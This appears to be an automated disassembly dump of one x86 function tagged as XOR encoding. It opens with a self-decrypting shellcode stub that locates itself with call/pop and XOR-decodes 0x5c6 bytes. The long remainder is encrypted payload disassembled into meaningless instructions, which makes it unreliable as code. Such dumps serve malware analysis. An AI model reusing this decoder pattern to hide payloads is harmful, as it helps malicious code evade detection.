Function at 0x17f1854
Capabilities:
Encode data using xor

Disassembly:
jmp 0x17f185e
pushal
call 0x17f1864
pop ebp
sub ebp, 0x10
sub ebp, 0x13f1854
jmp 0x17f187a
mov eax, 0x13f1854
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c6
mov edx, 0x37d5971
xor byte [eax], dl
inc eax
dec ecx
jne 0x17f1891
jmp 0x17f18a4
cli
mov esp, 0x714df8fa
jno 0x17f191d
invalid
mov gs, word [ebx + esi*4]
jge 0x17f1993
cli
std
push ebp
jne 0x17f1998
jno 0x17f199a
sbb dword [ebp - 0x48], ebp
dec esp
jno 0x17f1948
inc edi
jo 0x17f19a3
jo 0x17f1992
push ebp
cld
adc eax, 0x7df88d55
push ebp
cdq
je 0x17f19b1
jno 0x17f19b3
cwde
dec esi
jae 0x17f19b7
jno 0x17f19b8
jno 0x17f196c
and al, 0x25
sub al, 0x8e
add al, 0x7d
and eax, 0x7d048e2c
mov es, word [ecx + edi*2]
cdq
add esi, dword [ecx + 0x71]
jno 0x17f1950
int3
jns 0x17f19ca
jno 0x17f19cc
inc edx
mov eax, 0x296183f0
rcr dword [esi], 1
lock and dword [ecx + 0x29], 0xffffffd1
sub ecx, edx
push ds
inc edx
mov dword [0x397499f2], eax
cdq
je 0x17f19a8
jle 0x17f1966
aas
jno 0x17f19e5
jno 0x17f19f4
stc
cmp dword [ecx + 0x71], esi
jno 0x17f1993
cli
insd dword es:[edi], dx
dec eax
int1
mov bl, byte [ecx + 0x716bf57e]
jno 0x17f19f9
int1
mov bl, byte [eax + 0x7160f57e]
jno 0x17f1a02
jno 0x17f19a9
pop ss
invalid
mov cl, byte [esi + 0x64f57e54]
jno 0x17f1a0c
jno 0x17f1a0c
jno 0x17f1a0d
jno 0x17f19cd
xor byte [eax - 0x71717143], bl
pop eax
cwde
mov ebp, 0x588e8e8e
cmp eax, 0xb0f27048
je 0x17f199c
cdq
cdq
jne 0x17f1945
int3
mov cs, word [esi + 0x4825588e]
pop eax
and eax, 0xb0f27348
dec eax
jae 0x17f19a8
mov al, 0x77
ja 0x17f19ab
wait
wait
jne 0x17f19ae
cdq
je 0x17f1957
fimul dword [esi - 0x4cd37172]
jge 0x17f1a38
and al, 0xfa
popfd
daa
and al, 0xfa
and al, 0xfa
cli
add al, 0x7d
cli
or al, 0x79
invalid
jno 0x17f1a56
jno 0x17f19b1
jae 0x17f1a5a
jno 0x17f1a5c
jae 0x17f1990
jle 0x17f19e3
je 0x17f1a62
jno 0x17f1a64
sti
aaa
arpl word [ebx - 0x71560d82], sp
mov cs, word [esi - 0xb815c8d]
test eax, 0x738e8e8e
mov dword [0x7174f47e], eax
je 0x17f1a75
jno 0x17f1a77
sti
aaa
arpl word [ebx + 0x711bf27e], sp
sbb esi, dword [ecx + 0x71]
sbb esi, dword [ecx + 0x71]
jno 0x17f1a82
jno 0x17f1a54
inc edx
mov cl, 0x73
mov dword [0x7174f47e], eax
jno 0x17f1a8c
sti
aaa
arpl word [ebx + 0x705bf27e], sp
jno 0x17f1a97
jno 0x17f1a9a
jae 0x17f19cb
mov dword [0x7174f47e], eax
jle 0x17f1a1e
je 0x17f1a9d
jno 0x17f1a9f
jno 0x17f1a2a
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x17f1a2d
hlt
je 0x17f1aac
jno 0x17f1aae
jno 0x17f1a39
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x17f1a3c
je 0x17f1abb
jno 0x17f1abd
jno 0x17f1a48
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x17f1a4b
mov dword [0x7174f47e], eax
hlt
je 0x17f1aca
jno 0x17f1acc
jno 0x17f1a57
sti
aaa
arpl word [ebx - 0xa814e9e], sp
jle 0x17f1a59
ja 0x17f1ad7
jno 0x17f1ad9
cli
scasb al, byte es:[edi]
pop edx
test eax, 0x76f972fb
retf 0x7173
jbe 0x17f1aa7
retf 0x7173
jno 0x17f1a0f
add dword [esi + 0x70c98e8e], ecx
jno 0x17f1af0
mov cs, word [esi + 0x7170c98e]
jno 0x17f1af1
jno 0x17f1af4
jae 0x17f1a25
mov dword [0x7174f47e], eax
jle 0x17f1a78
je 0x17f1af7
jno 0x17f1af9
jno 0x17f1a84
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
mov dword [0xa373b162], eax
jle 0x17f1a87
je 0x17f1b06
jno 0x17f1b08
jno 0x17f1a93
sti
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0x70cab25a]
jno 0x17f1b19
repe scasd eax, dword es:[edi]
mov cs, word [esi - 0x354da572]
jo 0x17f1b18
jno 0x17f1b1a
jno 0x17f1b28
jle 0x17f1a9f
hlt
inc ebp
jno 0x17f1b1f
jno 0x17f1a78
jo 0x17f1b23
jno 0x17f1b25
jae 0x17f1a59
jle 0x17f1aac
je 0x17f1b2b
jno 0x17f1b2d
jno 0x17f1ab8
sti
aaa
arpl word [ebx - 0x5c8c479e], sp
jle 0x17f1abb
je 0x17f1b3a
jno 0x17f1b3c
jno 0x17f1ac7
sti
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0x5a86fa27]
cli
xchg byte [edx - 0x7c], bl
adc ch, 0x2f
cwde
jns 0x17f1a6f
pop edx
test byte [edx + 0x79982fd5], al
mov cs, word [esi - 0x6e4fc672]
jns 0x17f1ae3
mov cs, word [esi + 0x7991b039]
sti
cmp dword [eax + 0x77fb7991], esi
ja 0x17f1b21
aaa
cli
cdq
enter 0x7170, 0x71
jno 0x17f1b65
jae 0x17f1a96
mov dword [0x7174f47e], eax
jle 0x17f1ae9
hlt
je 0x17f1b68
jno 0x17f1b6a
jno 0x17f1af5
sti
aaa
arpl word [ebx - 0x5c8c479e], sp
jle 0x17f1af8
je 0x17f1b77
jno 0x17f1b79
sti
aaa
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0xc7189f0]
jno 0x17f1b8a
or al, 0x71
jno 0x17f1b0a
invalid
test al, 0x8e
mov cs, word [esi + 0x7189f08e]
invalid
jno 0x17f1b97
je 0x17f1b95
jno 0x17f1b96
jno 0x17f1b16
invalid
test al, 0x8e
mov cs, word [esi - 0xe760f72]
invalid
int1
jno 0x17f1ba1
jno 0x17f1b22
mov al, byte [0x71717171]
invalid
jno 0x17f1bad
jno 0x17f1b2e
mov al, byte [0x71717171]
daa
cli
xchg byte [edx - 0x7f], bl
adc ch, 0x2f
cwde
ljmp 0x3777
cdq
daa
cli
xchg byte [edx - 0x7f], bl
adc ch, 0x2f
retf 0x7170
add dword [edx + 0x70ca2fd5], 0x98717171
cwde
add cl, byte [edi + 0x5a2c8e8e]
mov gs, word [edx + ebx*2]
pop edx
or al, 0x79
cli
jns 0x17f1b77
mov dh, 0x2e
das
cli
xchg esp, eax
sub al, 0xb3
jns 0x17f1bf7
cli
dec ebp
push ebp
cld
adc eax, 0x45fa7555
push ebp
cld
adc eax, 0x75987555
jne 0x17f1c08
jno 0x17f1c09
jno 0x17f1c0a
jno 0x17f1b9b
add edx, ecx
retf 0x368e
invalid
jo 0x17f1c15
mov ah, 0xf0
mov cl, 0x1e
jb 0x17f1c1a
jno 0x17f1b73
sal byte [ebx + 0x71], cl
jno 0x17f1c20
jno 0x17f1b7b
retf
jg 0x17f1bbd
xchg ecx, eax
std
inc ecx
popal
xor dword [eax], edi
jle 0x17f1bae
xchg dword [esi + 0x75988e8e], ecx
jno 0x17f1c33
mov ds, word [eax + 0x71717175]
dec edx
jno 0x17f1c0e
xchg edx, eax
push ebx
xlatb
clc
xor esp, 0xc3f44301
dec eax
fistp qword [edi + 0x7f]
jg 0x17f1c50
xor edx, 0xf4e97f21
cmovae ebp, ecx
hlt
jg 0x17f1c70
jg 0x17f1c63
sti
cmp dword [edi + 0x7f], edi
jg 0x17f1c75
test eax, 0x7f77b8fe
jg 0x17f1c7f
invalid
jg 0x17f1c89
jg 0x17f1c8a
jg 0x17f1c8b
jg 0x17f1c7d
jo 0x17f1c09
sti
stosd dword es:[edi], eax
add byte [eax + 0x78f41980], 0xbe
xchg edi, eax
jae 0x17f1c15
mov esi, 0x9ffc7397
lahf
jo 0x17f1c1a
inc byte [edi + 0x7f7f7f7c]
xchg dword [edi + edi*2 + 0x7f], edi
jl 0x17f1c9e
jg 0x17f1ca0
jg 0x17f1c92
jo 0x17f1c1d
cli
jb 0x17f1ca4
jg 0x17f1ca6
sbb esp, esi
js 0x17f1c29
lahf
xor byte [eax + 0x7f], 0x7f
jl 0x17f1bef
jle 0x17f1c9b
cld
cld
mov eax, 0x80b7967d
add byte [eax + 0x7f7f7b96], 0x7f
inc esi
test al, 0xb5
test bh, al
sub esp, dword [edi + 0x40]
jle 0x17f1cc9
mov edx, 0x7b66bffe
jg 0x17f1cd3
jnp 0x17f1cd2
jg 0x17f1c1b
mov byte [esi - 0x3a808082], 0xd0
out 0x25, eax
cmp eax, 0x363f6f4f
jo 0x17f1c5e
xchg byte [esi + 0x7f], bh
jg 0x17f1c1f
shl bh, 1
and eax, 0x3f6f4f3d
dec edi
outsd dx, dword [esi]
aas
jo 0x17f1c5e
cli
mov dword [eax + 0x7b968080], eax
jg 0x17f1ceb
jg 0x17f1c60
int3
fistp dword [ebx - 0x52]
in al, dx
pop ebx
insb byte es:[edi], dx
out 0x50, eax
rcl al, 1
rcl bl, 1
push ebx
push ebx
scasd eax, dword es:[edi]
invalid
test al, 0xdc
fadd qword [edi - 0x2d]
push ss
inc edi
rcl dword [esi], cl
pop ebp
mov ah, 0xf4
sub al, 0x59
pop ecx
aam 0xf4
das
inc ebp
and al, 0xe
rcl cl, 1
push ecx
sub al, dl
rcl al, 1
rcr bh, 1
push ebp
invalid
rcl al, 1
rcr byte [ebx - 0x69], 1
invalid
rcl al, 0xdf
push esp
mov ebp, 0x85d0d0d0
pop ebx
add eax, 0xd3c0bf5b
push ebx
lodsd eax, dword [esi]
rcl al, 1
fist word [ebx + ecx*4 - 0x30]
rcl al, 1
push edi
cmp dword [ebx - 0x47], ebx
rcl byte [edi + 0x39]
pop ebp
mov ah, 0xf4
sub al, 0x59
aam 0xf4
pop ebp
mov ah, 0xf4
sub al, 0x59
invalid